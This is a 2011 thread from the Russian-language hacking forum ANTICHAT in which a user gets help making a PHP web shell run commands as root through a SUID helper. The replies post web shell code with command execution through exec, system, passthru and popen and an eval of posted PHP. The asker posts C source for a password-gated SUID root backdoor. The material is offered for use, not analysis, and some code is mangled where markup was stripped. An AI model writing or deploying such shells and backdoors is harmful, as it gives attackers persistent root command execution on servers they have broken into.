ANTICHAT — форум по информационной безопасности, OSINT и технологиям
ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию.
Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club,
и теперь снова доступен на новом адресе —
forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
 |

23.09.2011, 23:10
|
|
Новичок
Регистрация: 19.05.2006
Сообщений: 8
Провел на форуме: 66627
Репутация:
0
|
|
нужен шелл что бы указать суид и быть под рутом.
попробовал wso который в этой ветке.
но при активации суида почему то выбросило в форму пароля и при вводе пароля появляется лишь надпись сверху X-Powered-By: PHP/5.2.9 Content-type: text/html; charset=utf-8
и строка ввода пароля.
кто знает как исправить или посоветуйте похожий скрипт.
|
|
|

24.09.2011, 16:01
|
|
Новичок
Регистрация: 19.05.2006
Сообщений: 8
Провел на форуме: 66627
Репутация:
0
|
|
скажите как правильно в wso suid указывать? у меня он лежит в папке с шеллом я указываю ./suid при нажатии он выдает что все root но потом когда нажимаешь по ссылкам шелла н выкидывает на страницу пароля и все. может я не правильно что делаю. помогите плиз мне срочно.
|
|
|

24.09.2011, 16:28
|
|
Reservists Of Antichat - Level 6
Регистрация: 07.07.2009
Сообщений: 324
Провел на форуме: 1585404
Репутация:
564
|
|
/showthread.php?t=287507
__________________
Никогда не бойся делать то, что ты не умеешь. Помни, ковчег был построен любителем. "Титаник" - проффесионалами.
|
|
|

24.09.2011, 18:10
|
|
Новичок
Регистрация: 19.05.2006
Сообщений: 8
Провел на форуме: 66627
Репутация:
0
|
|
Сообщение от shell_c0de
shell_c0de said:
/showthread.php?t=287507
да я про этот и пишу. еще скачал wso там где два файла wso и wrapper.php указал путь к суиднику на шелл можно зайти вверху в шеле показано что я root но нельзя ходить по папкам и выполнять команды. только страница шелла и все. в чем же проблема?
|
|
|

24.09.2011, 18:36
|
|
Участник форума
Регистрация: 01.10.2009
Сообщений: 105
Провел на форуме: 559542
Репутация:
94
|
|
Код:
Code:
'.
''.
'r00t web-shell'.
''.
'';
/*********** MAIN CODE ***************/
/*
Выводим форму для выполнения команд
*/
if(!isset($_POST['cmd']))
{
print ''.
''.
''.
'
';
}
else
{
hack_system($_POST['cmd'],$pass_suid);
}
/*
Выводим заветную кнопочку для получения
рута
*/
if(!isset($_POST['give_me_root']))
{
print '
';
}
else
{
give_me_root();
}
/********** END CODE *************/
print
''.
'';
?>
Мини-шелл + исполнение эксплойта
|
|
|

24.09.2011, 18:49
|
|
Новичок
Регистрация: 19.05.2006
Сообщений: 8
Провел на форуме: 66627
Репутация:
0
|
|
тут еще проблемка. при исполнении этих скриптов первого и второго в error_log'е вот такая вот ошибка: PHP Warning: Module 'mbstring' already loaded in Unknown on line 0
|
|
|

24.09.2011, 19:02
|
|
Новичок
Регистрация: 19.05.2006
Сообщений: 8
Провел на форуме: 66627
Репутация:
0
|
|
said:
Код:
Code:
'.
''.
'r00t web-shell'.
''.
'';
/*********** MAIN CODE ***************/
/*
Выводим форму для выполнения команд
*/
if(!isset($_POST['cmd']))
{
print ''.
''.
''.
'
';
}
else
{
hack_system($_POST['cmd'],$pass_suid);
}
/*
Выводим заветную кнопочку для получения
рута
*/
if(!isset($_POST['give_me_root']))
{
print '
';
}
else
{
give_me_root();
}
/********** END CODE *************/
print
''.
'';
?>
Мини-шелл + исполнение эксплойта
плин. ничего не понимаю. и в этом команды не выполняются. хотя когда нажимаешь give me root пишет ок. а команды не отоброжаются. в чем же тут проблема?
|
|
|

24.09.2011, 19:07
|
|
Новичок
Регистрация: 19.05.2006
Сообщений: 8
Провел на форуме: 66627
Репутация:
0
|
|
я вот такой суидник юзаю. может с ним что не так:
#include
#include
main(int argc, char *argv[])
{
if(argc == 3){
if(strcmp(argv[1],"cool_hack") == 0){
setgid(0);
setuid(0);
system(argv[2]);
}
}
return 0;
}
|
|
|

24.09.2011, 19:52
|
|
Участник форума
Регистрация: 01.10.2009
Сообщений: 105
Провел на форуме: 559542
Репутация:
94
|
|
Код:
Code:
$v){$_POST[$k] = stripslashes($v);}}
@ini_set('max_execution_time',0);
(@ini_get('safe_mode')=="1" ? $safe_mode="ON" : $safe_mode="OFF");
(@ini_get('disable_functions')!="" ? $disfunc=ini_get('disable_functions') : $disfunc=0);
(strtoupper(substr(PHP_OS, 0, 3))==='WIN' ? $os=1 : $os=0);
$action=$_POST['action'];
$content='';
$stdata='';
$style='BODY{background-color: #2b2f34;color: #9acd32;font: 8pt verdana, geneva, lucida, \'lucida grande\', arial, helvetica, sans-serif;MARGIN-TOP: 0px;MARGIN-BOTTOM: 0px;MARGIN-LEFT: 0px;MARGIN-RIGHT: 0px;margin:0;padding:0;scrollbar-face-color: #31333b;scrollbar-shadow-color: #363940;scrollbar-highlight-color: #363940;scrollbar-3dlight-color: #363940;scrollbar-darkshadow-color: #363940;scrollbar-track-color: #363940;scrollbar-arrow-color: #363940;}input{background-color: #31333b;font-size: 8pt;color: #b50016;font-family: Tahoma;border: 1 solid #666666;}select{background-color: #31333b;font-size: 8pt;color: #b50016;font-family: Tahoma;border: 1 solid #666666;}textarea{background-color: #363940;font-size: 11pt;color: #FFFAFA;font-family: Tahoma;border: 1 solid #666666;}a:link{color: #91cd32;text-decoration: none;font-size: 8pt;}a:visited{color: #91cd32;text-decoration: none;font-size: 8pt;}a:hover, a:active{background-color: #A8A8AD;color: #E7E7EB;text-decoration: none;font-size: 8pt;}td, th, p, li{font: 8pt verdana, geneva, lucida, \'lucida grande\', arial, helvetica, sans-serif;border-color:black;}';
$header=''.getenv("HTTP_HOST").' - R00t Web-Shell'.$style.'';
$footer='';
$lang=array('allfuncsh'=>'All function for work shell was disabled.');
$act=array('shell','phpeval');//here added new actions
if(isset($action)){if(!in_array($action,$act))$action="shell";else $action=$action;}else $action="shell";
function shell($cmd,$suid_pass,$suid)
{
global $lang;
$code = $suid.' '.$suid_pass.' "'.$cmd.'"';
$ret = '';
if(!empty($code)) {
if(function_exists('exec')){
@exec($code,$ret);$ret = join("\n",$ret);
} elseif(function_exists('shell_exec')) {
$ret = @shell_exec($code);
} elseif(function_exists('system')) {
@ob_start()
;@system($code);
$ret = @ob_get_contents();
@ob_end_clean();
} elseif(function_exists('passthru')) {
@ob_start();
@passthru($code);
$ret = @ob_get_contents();
@ob_end_clean();
} elseif(@is_resource($f = @popen($code,"r"))) {
$ret = "";
while(!@feof($f)) {
$ret .= @fread($f,1024);
}
@pclose($f);
} else {
$ret=$lang['allfuncsh'];
}
}
return $ret;
}
//shell
if($action=="shell"){
$content.="
".@$_POST['command']."
".convert_cyr_string(htmlspecialchars(shell($_POST['command'],$suid_pass,$suid)),"d","w")."
";}
//phpeval
if($action=="phpeval"){
$content.="
<?php
".@$_POST['phpev']."
?>
";
if(isset($_POST['phpev']))$content.=eval($_POST['phpev']);}
?>'; document.reqs.submit();">.| Shell |. '; document.reqs.submit();">.| Php Eval |..| .| forward->|.
Safe mode:
Disable functions:
OS:
Server:
Id:
| COPYRIGHT BY ANTICHAT.RU | Made by Grinay | Modified by daniel_1024 |
Скажи спасибо daniel_1024!
|
|
|

24.09.2011, 22:10
|
|
Новичок
Регистрация: 19.05.2006
Сообщений: 8
Провел на форуме: 66627
Репутация:
0
|
|
вообщем вроде разобрался. daniel_1024!, спасибо.
|
|
|
|
 |
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|